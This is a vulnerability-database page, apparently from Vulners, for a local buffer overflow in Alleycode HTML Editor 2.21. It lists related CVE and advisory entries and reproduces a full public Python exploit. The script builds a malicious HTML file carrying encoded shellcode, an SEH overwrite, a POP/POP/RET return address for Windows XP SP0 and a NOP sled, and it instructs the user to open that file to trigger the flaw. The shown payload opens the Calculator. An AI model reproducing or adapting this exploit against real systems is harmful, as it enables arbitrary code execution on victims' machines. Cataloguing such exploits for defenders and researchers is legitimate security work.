Alleycode HTML Editor 2.2.1 - Local Buffer Overflow
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | CVE-2009-3708 | 5 Oct 200900:00 | – | circl |
| CVE-2009-3709 | 5 Oct 200900:00 | – | circl |
 | CVE-2009-3708 | 16 Oct 200916:00 | – | cve |
| CVE-2009-3709 | 16 Oct 200916:00 | – | cve |
 | CVE-2009-3708 | 16 Oct 200916:00 | – | cvelist |
| CVE-2009-3709 | 16 Oct 200916:00 | – | cvelist |
 | Alleycode 2.21 - Local Overflow (SEH) | 5 Oct 200900:00 | – | exploitdb |
 | EUVD-2009-3681 | 7 Oct 202500:30 | – | euvd |
 | CVE-2009-3708 | 16 Oct 200916:30 | – | nvd |
| CVE-2009-3709 | 16 Oct 200916:30 | – | nvd |
10
#!/usr/bin/env python
####################################################################
#
# Alleycode HTML Editor 2.21 Local (.HTML) Overflow Exploit (SEH)
# Coded By: Dr_IDE
# Found By: Rafael de Sousa
# Tested On: XPSP0 (SP3 doesn't have any usable P/P/R)
# Download: www.alleycode.com
#
####################################################################
# calc.exe - 303 bytes
# Encoder - alpha/upper
# EXITFUNC - SEH
sc = (
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49"
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41"
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42"
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a"
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47"
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c"
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a"
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46"
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45"
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c"
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44"
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c"
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46"
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50"
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44"
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45"
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43"
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43"
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41");
head = ("<html>\n<title>"); # Don't touch the html stuff.
buff = ("@" * 504); # Overwrite SEH Pointer
nseh = ("\xEB\x64\x90\x90"); # Need to pass some garbage in stack
retn = ("\x0E\x03\xEB\x77"); # P/P/R Kernel32.dll XPSP0
nops = ("\x90" * 116); # SLIIIIIIIIIIIIIIIIIIIIIIIIIIIIIDE!
junk = ("\x40" * (688 - len(sc))); # Looks like 688 bytes for Shellcode
foot = ("</title>\n<body>Calculator goes BOOM!</body>\n</html>\n");
sploit = (head + buff + nseh + retn + nops + sc + junk + foot);
try:
print ("\n\n#######################################################");
print ("# Alleycode HTML Editor 2.21 Local HTML Buffer Overflow");
print ("# By: Dr_IDE");
print ("# pocoftheday.blogspot.com");
print ("#######################################################\n");
print ("[*] Writing evil HTML file.");
f1 = open("Dr_IDEs_Evil_Homepage.html","w");
f1.write(sploit);
f1.close();
print ('[*] Success. Load File and Click "Tools -> Optimizer".');
except:
print ("[-] Error, could not write the file.");Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Oct 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 29.3
EPSS0.05902